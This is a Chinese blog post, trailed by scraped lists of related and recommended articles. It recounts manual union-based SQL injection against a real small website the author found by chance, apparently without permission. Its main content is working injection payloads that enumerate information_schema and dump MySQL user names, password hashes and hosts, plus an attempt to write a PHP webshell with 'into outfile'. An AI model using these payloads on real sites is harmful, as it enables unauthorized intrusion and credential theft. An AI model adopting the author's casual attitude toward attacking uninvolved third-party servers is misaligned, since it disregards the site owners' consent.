记一次MySQL手工注入
本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎)
小站没有上WAF,用1=1、1=2就可以检测注入点,就不放截图了。
然后order by 、联合查询什么的也都是基本操作。。直接进入最关键的手工爆表好了。(已知第二列和第三列有回显,MySQL version是5.6,所以直接从information_schema中就可以方便的查询)
1、爆其他数据库;
查询语句为:xxx?id=-4 union select 1,SCHEMA_NAME,3,4,5,6,7,8 FROM information_schema.schemata
页面返回为:
2、爆其他表(数据库选择刚才爆出的mysql)
查询语句为:xxx?id=-4 union select 1,TABLE_NAME,3,4,5,6,7,8 FROM information_schema.tables WHERE TABLE_SCHEMA=0x6d7973716c
这里的0x6d7973716c是mysql的十六进制表示,如果直接写mysql字符串的话数据库是不能解析的,所以要传递16进制形式的数据库名
这里有很多表,我们只需关注user表就可以,其实其他的表也会存放一些敏感数据,比如该网站的注册会员的登录信息等等,但我们目标是服务器。
3、爆字段
查询语句为:xxx?id=-4 union select 1,COLUMN_NAME,3,4,5,6,7,8 FROM information_schema.columns WHERE TABLE_NAME=0x75736572
同理,0x75736572是user表的十六进制表示。
这里我们可能关心的是以上三列的数据,user、password、host,让我们进行最后的爆数据吧!
4、爆数据
查询语句为:xxx?id=-4 union select 1,concat_ws(0x2c,User,Password,Host),3,4,5,6,7,8 FROM mysql.user
由于我要查询的有三列数据,所以这里我用了concat_ws函数进行拼接后输出,0x2c是逗号
done,手工测试到此完成,可以说是非常非常普通的正规思路了,没有一点绕过的地方直接搞就行了。
其实这里我尝试用into outfile写php的一句话木马,但是发现没有成功,编码也不行,一直报mysql_fetch_array(): supplied argument is not a valid MySQL result resource的错误。
查了一些资料,使用mysql直接写入木马的必要条件有三:
1、root权限(排除)
2、知道网站根目录的地址(排除,从随便一个报错信息中都可以爆出物理绝对路径)
3、magic_quotes_gpc()=OFF(有可能)
4、没有write权限(有可能)
用sqlmap跑下试试,看来的确如此
大概就这些吧。
#########################
谁能告诉我为什么发布以后布局这么丑,蛋疼
记一次MySQL手工注入的更多相关文章
- MYSQL手工注入(详细步骤)—— 待补充
0x00 SQL注入的分类: (1)基于从服务器接收到的响应 ▲基于错误的 SQL 注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL 盲注 ...
- MySQL手工注入学习-1
MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...
- 手工注入——MySQL手工注入实战和分析
今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...
- MySQL手工注入进阶篇——突破过滤危险字符问题
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...
- MYSQL手工注入某日本网站
作者:ice 团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...
- mysql手工注入
以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...
- mysql手工注入总结
mysql -u 用户名 -p 密码 -h IP地址 show databases; 查看数据库 select version(); php注入的版本号 use database(表名): sho ...
- mysql手工注入步骤
1.一般用 ' " ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...
- [MYSQL手工注入](3)基于报错的SQL注入实战
0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...
随机推荐
- RESTful 设计工具和Web框架
搭建开发环境几乎都搭建失败,因为需要FQ Spring Boot 和 Spring MVC 单独 Jersey官网可以直接访问 https://jersey.java.net/documentatio ...
- Oracle RAC集群搭建(五)--oracle部署
01,配置好环境 节点01--node1 ORACLE_BASE=/oracle/app/oracle ORACLE_HOME=$ORACLE_BASE/product//db_1 ORACLE_SI ...
- PHP 网页调用本地exe程序实例
一.需求:在做网站的时候,有些网站网页面需要调用本地的exe程序. 二.方法:利用注册URL Protocol的方式. 代码如下: 1.视图文件里面的代码: <a href="fyex ...
- PHP中break及continue两个流程控制指令解析
<?php $arr = array( 'a' => '0a0', 'b' => '0b0', 'c' => '0c0', 'd' => '0d0', 'e' => ...
- JS代码格式化排版工具,web文本编辑器
js格式化代码工具:http://www.cnblogs.com/blodfox777/archive/2008/10/09/1307462.html web文本编辑器 :http://www.div ...
- [Matlab] awgn
Y = awgn(X,SNR,SIGPOWER) when SIGPOWER is numeric, it represents the signal power in dBW. When SIGPO ...
- hrb——开锁魔法I——————【规律】
解题思路:从1到n的倒数之和. #include<stdio.h> #include<string.h> #include<algorithm> using nam ...
- 深入理解JavaScript系列(22):S.O.L.I.D五大原则之依赖倒置原则DIP
前言 本章我们要讲解的是S.O.L.I.D五大原则JavaScript语言实现的第5篇,依赖倒置原则LSP(The Dependency Inversion Principle ). 英文原文:htt ...
- 深入理解JavaScript系列(16):闭包(Closures)
介绍 本章我们将介绍在JavaScript里大家经常来讨论的话题 —— 闭包(closure).闭包其实大家都已经谈烂了.尽管如此,这里还是要试着从理论角度来讨论下闭包,看看ECMAScript中的闭 ...
- [转]Session and application state in ASP.NET Core
本文转自:https://docs.microsoft.com/en-us/aspnet/core/fundamentals/app-state By Rick Anderson and Steve ...